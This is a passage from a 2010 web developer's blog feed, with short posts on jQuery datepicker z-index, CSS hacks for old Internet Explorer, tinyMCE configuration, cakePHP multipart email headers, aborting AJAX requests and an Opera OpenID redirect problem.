looking for a &lt;code&gt;zIndex&lt;/code&gt; key, but found nothing...&lt;/p&gt;
&lt;p&gt;I tried the &lt;code&gt;beforeShow&lt;/code&gt; event, to manually set the &lt;code&gt;z-index&lt;/code&gt;, but it seems that
jQuery still update my value to 1 AFTER the event.&lt;/p&gt;
&lt;p&gt;So I finally resorted to adding a small timeout to re-add my value after jQuery.
This is a bit of a hack but given the context this is the only way I found.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Set the datepicker zIndex on load&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;datepicker&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  &#39;beforeShow&#39;: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;datepicker&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    setTimeout&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;      $&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;datepicker&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dpDiv&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;css&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;zIndex&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;500&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Finding a string in multiple files</title>
    <link href="https://blog.pixelastic.com/2010/10/19/finding-string-multiple-files/"/>
    <updated>2010-10-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/19/finding-string-multiple-files</id>
    <content type="html">&lt;p&gt;Lately I was receiving emails with just the text &amp;quot;Blablabla&amp;quot; from an old
(online) production server. This was obviously from an old debug script that I
should have put online and forgot.&lt;/p&gt;
&lt;p&gt;Unfortunatly, I wasn&#39;t able to track down exactly from where it originated. I
had no mention of that string in my local files.&lt;/p&gt;
&lt;p&gt;So I connected to the serveur using ssh and ran the following command: grep -R
Blablabla /path&lt;/p&gt;
&lt;p&gt;After some processing, I got the incriminating file and was able to delete it.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Some CSS hacks to target IE6 and IE7</title>
    <link href="https://blog.pixelastic.com/2010/10/16/css-hacks-target-ie6-ie7/"/>
    <updated>2010-10-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/16/css-hacks-target-ie6-ie7</id>
    <content type="html">&lt;p&gt;After stopping using ugly IE hacks and moving to conditionnal comments to load a
special IE stylesheet, I now use conditional comments to mark my body element
with classes reflecting the current IE version.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--[if IE 6]&gt;&amp;#x3C;body class=&quot;ie ie6 ie-lt8 ie-lt9&quot;&gt;&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--[if IE 7]&gt;&amp;#x3C;body class=&quot;ie ie7 ie-lt8 ie-lt9&quot;&gt;&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--[if IE 8]&gt;&amp;#x3C;body class=&quot;ie ie8 ie-lt9&quot;&gt;&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--[if IE 9]&gt;&amp;#x3C;body class=&quot;ie ie9&quot;&gt;&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--[if !IE]&gt;&amp;#x3C;!--&gt;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;nie&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;&amp;#x3C;!--&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This saves me a lot of trouble: less files to manage and easier fixes to write.
I quite happy with this solution and have tested it accross several projects for
the past 3 months. It works really well.&lt;/p&gt;
&lt;p&gt;I had to work on a legacy project last week, where this technique wasn&#39;t
implemented but all the css code was still compressed using CSSTidy. And I ran
into a couple of issues.&lt;/p&gt;
&lt;h2&gt;CSSTidy messes the star and underscore hacks&lt;/h2&gt;
&lt;p&gt;Using the brilliant &lt;code&gt;_property&lt;/code&gt; and &lt;code&gt;*property&lt;/code&gt; hacks to target IE6 and IE7 does
not work in conjunction with CSSTidy.&lt;/p&gt;
&lt;p&gt;For the &lt;code&gt;_property hack&lt;/code&gt;, the property is kept as-is, with the underscore, but
as they are alphabetically arranged, the &lt;code&gt;_background&lt;/code&gt; gets added before the
&lt;code&gt;background&lt;/code&gt;, rendering it absolutly useless.&lt;/p&gt;
&lt;p&gt;On the other hand, on the &lt;code&gt;*property&lt;/code&gt;, the &lt;code&gt;*&lt;/code&gt; gets removed, and the value is
merged with the original value of the correct property. Useless too.&lt;/p&gt;
&lt;h2&gt;Other solutions that worked&lt;/h2&gt;
&lt;p&gt;To avoid digging into CSSTidy one more time, I tried to find other ways to
achieve the same effect.&lt;/p&gt;
&lt;p&gt;To target IE6 I used the &lt;code&gt;!ie6&lt;/code&gt; hack by writing
&lt;code&gt;.mySelector { property:value !ie6; }&lt;/code&gt;. IE6 is dumb enough to understand any
&lt;code&gt;!blahblah&lt;/code&gt; as &lt;code&gt;!important&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I could have also used the fact that IE6 understands &lt;code&gt;.class1.class2&lt;/code&gt; as
&lt;code&gt;.class2&lt;/code&gt;, and could have written &lt;code&gt;.ie6.mySelector { property:value; }&lt;/code&gt; (of
course, you have absolutly no &lt;code&gt;class=&amp;quot;ie6&amp;quot;&lt;/code&gt; in your code)&lt;/p&gt;
&lt;p&gt;To target IE7 I made a custom selector that its parsing engine is the only one
to understand: &lt;code&gt;*:first-child + html .mySelector { property:value; }&lt;/code&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Preventing tinyMCE from wrapping &lt;img /&gt; in &lt;p&gt;</title>
    <link href="https://blog.pixelastic.com/2010/10/11/preventing-tinymce-wrapping-img/"/>
    <updated>2010-10-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/11/preventing-tinymce-wrapping-img</id>
    <content type="html">&lt;p&gt;If you just want to add a presentational image in a tinyMCE editor, you&#39;ll find
out very quickly that it will be wrapped in &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; without you asking.&lt;/p&gt;
&lt;p&gt;The question has been asked several times on the tinyMCE forums, but the answers
never quite satisfied me. It ranges from the classical &amp;quot;&lt;em&gt;Why do you want to do
this? You should better use &lt;code&gt;&amp;lt;insert semantic element and css here&amp;gt;&lt;/code&gt;&lt;/em&gt;&amp;quot; to &amp;quot;&lt;em&gt;Just
do a regexp before displaying your content to remove the bad &lt;code&gt;&amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/em&gt;&amp;quot;.&lt;/p&gt;
&lt;p&gt;This clearly did not satisfy me.&lt;/p&gt;
&lt;p&gt;The solution was to define the &lt;code&gt;forced_root_block&lt;/code&gt; setting value to &lt;code&gt;false&lt;/code&gt;,
allowing us to create any element on the top level, and not having it
automatically wrapped in &lt;code&gt;&amp;lt;p&amp;gt;.&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Fixing the side effect&lt;/h2&gt;
&lt;p&gt;Allowing for elements to be input directly in the root level has the nasty side
effect of creating tinyMCE editor instances with a default text of, well,
nothing, instead of the really usefull &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag. Also, if you do a Ctrl+A and
delete all content, you&#39;ll end up with an empty editor without the initial &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;
tags&lt;/p&gt;
&lt;p&gt;To fix this part, I just added an &lt;code&gt;onNodeChange&lt;/code&gt; event to fire every time the
content is changed. I test the current content and if empty add the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag.
There is a little subtelty though, to correctly place the caret where needed.&lt;/p&gt;
&lt;p&gt;In your &lt;code&gt;tinyMCE.init&lt;/code&gt; call, just add the following setup key:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;tinyMCE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  setup: &lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;onNodeChange&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;cm&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;e&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;o&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;      var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editorContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editorContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;        // We set content as a &amp;#x3C;p&gt; containing a placeholder, then we delete the placeholder to place the caret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;setContent&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&amp;#x3C;p&gt;&amp;#x3C;span id=&quot;__CaretPlacholder&quot;&gt;Placeholder&amp;#x3C;/span&gt;&amp;#x3C;/p&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;selection&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#__CaretPlacholder&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;        editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;remove&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;editor&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;dom&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;select&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;#__CaretPlacholder&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before finding this solution, I tried the &lt;code&gt;onBeforeSetContent&lt;/code&gt; callback, but due
to a bug in the tinyMCE source, it couldn&#39;t handle well the case where the
editor is empty. So I had to resort to a more generic callback.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Displaying HTML mails sent from cakePHP in SquirrelMail</title>
    <link href="https://blog.pixelastic.com/2010/10/11/displaying-html-mails-sent-from-cakephp-in-squirrelmail/"/>
    <updated>2010-10-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/11/displaying-html-mails-sent-from-cakephp-in-squirrelmail</id>
    <content type="html">&lt;p&gt;I just stumble upon the fact that my automated multipart (text + html) mails
sent from my apps weren&#39;t correctly displayed on SquirrelMail.&lt;/p&gt;
&lt;p&gt;I&#39;m personnaly using GMail for my day to day email needs, but one of my client
was using the default &lt;a href=&quot;http://squirrelmail.org/&quot;&gt;SquirrelMail&lt;/a&gt; (v1.4.21) install
on their &lt;a href=&quot;http://www.dreamhost.com/&quot;&gt;Dreamhost account&lt;/a&gt;. The received mails are
not correctly parsed and get displayed as plain text, even if the header clearly
specifiy a &lt;code&gt;Content-Type: multipart/alternative; boundary=&amp;quot;alt-&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The first culprit was that no boundary were given. This does not seem to cause
GMail any problem, but I thought that SquirrelMail may choke on that. So I
manually added a &lt;code&gt;$this-&amp;gt;Email-&amp;gt;_createboundary();&lt;/code&gt; call before my
&lt;code&gt;$this-&amp;gt;Email-&amp;gt;send();&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Still, no succes. After some googling I found a [bug
report](http://cakephp.lighthouseapp.com/projects/42648-cakephp/tickets/14
-email-component-should-set-mime-version-header-when-sendas-html-or-both) for a
similar problem. I tried adding the suggested MIME header, and that solved my
problem.&lt;/p&gt;
&lt;p&gt;So here&#39;s my updated code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;sendAs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;both&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_createboundary&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;MIME-Version: 1.0&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;ll now have to add those two additional line of code everytime I&#39;ll have to
send a multipart (html + text) email in cakePHP, until it get fixed (no
specified milestone).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Aborting an AJAX request with jQuery</title>
    <link href="https://blog.pixelastic.com/2010/10/06/aborting-an-ajax-request-with-jquery/"/>
    <updated>2010-10-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/06/aborting-an-ajax-request-with-jquery</id>
    <content type="html">&lt;p&gt;I needed a way to abort a pending AJAX request. I had a dialog box loaded
through AJAX, but I let my users the possibility to close the window before it
was completely loaded.&lt;/p&gt;
&lt;p&gt;I thought I could easily cancel a request using jQuery but it appears that there
is no method to do that. I had to instead directly call the &lt;code&gt;.abort()&lt;/code&gt; method on
the XHR object returned by &lt;code&gt;$.ajax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;What I learned was that aborting an XHR request still triggered the jQuery ajax
&lt;code&gt;complete&lt;/code&gt; callback, and even passed a &lt;code&gt;success&lt;/code&gt; as second argument.&lt;/p&gt;
&lt;p&gt;My complete callback was supposed to display the loaded window, so I really
didn&#39;t want it to fire if the user closed the loading window.&lt;/p&gt;
&lt;p&gt;I finally had to check on the &lt;code&gt;XHR.status&lt;/code&gt; property (200 if ok, 0 if aborted) to
manually stop the &lt;code&gt;complete&lt;/code&gt; callback.&lt;/p&gt;
&lt;p&gt;It felt surprising at first that an abort call is not intercepted as an error,
but after a little more thinking, it is logical. An abort is something that the
user asked for, so it shouldn&#39;t be considered an error (which is something that
no one ever asked for).&lt;/p&gt;
&lt;p&gt;On the other hand, it feels strange to consider an abort as a success too. I
guess the jQuery team didn&#39;t have a lot of request for an edge case like abort
and didn&#39;t wrap their API around it, leaving us with the low level XHR object
instead.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Openid redirect not working on Opera</title>
    <link href="https://blog.pixelastic.com/2010/10/05/openid-redirect-not-working-on-opera/"/>
    <updated>2010-10-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/10/05/openid-redirect-not-working-on-opera</id>
    <content type="html">&lt;p&gt;I had a hard time firguring out while my openId login method does not work
correctly with Opera.&lt;/p&gt;
&lt;p&gt;I either ended up on the redirect page forever, or did not get redirected back
to my website after Google check, or finally even get blackholed back on my own
site.&lt;/p&gt;
&lt;p&gt;I only occured with Opera.&lt;/p&gt;
&lt;p&gt;I&#39;ve read on various places that the security settings of Opera are made to
prevent an automatic redirect to a website to be able to write cookie. This is a
fair defense, but it does break the whole openId concept. Or at least my
implementation.&lt;/p&gt;
&lt;p&gt;Some sites manages to get it to work, even on Opera (stackoverflow for example).&lt;/p&gt;
&lt;p&gt;I&#39;ll hide the openId login method for my Opera users until this is fixed or I
find a solution.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Copy/Paste text from Word into tinyMCE</title>
    <link href="https://blog.pixelastic.com/2010/10/05/copy-paste-text-from-word-into-tinymce/"/>
    <updated>2010-10-05T00:00:00Z</updated>
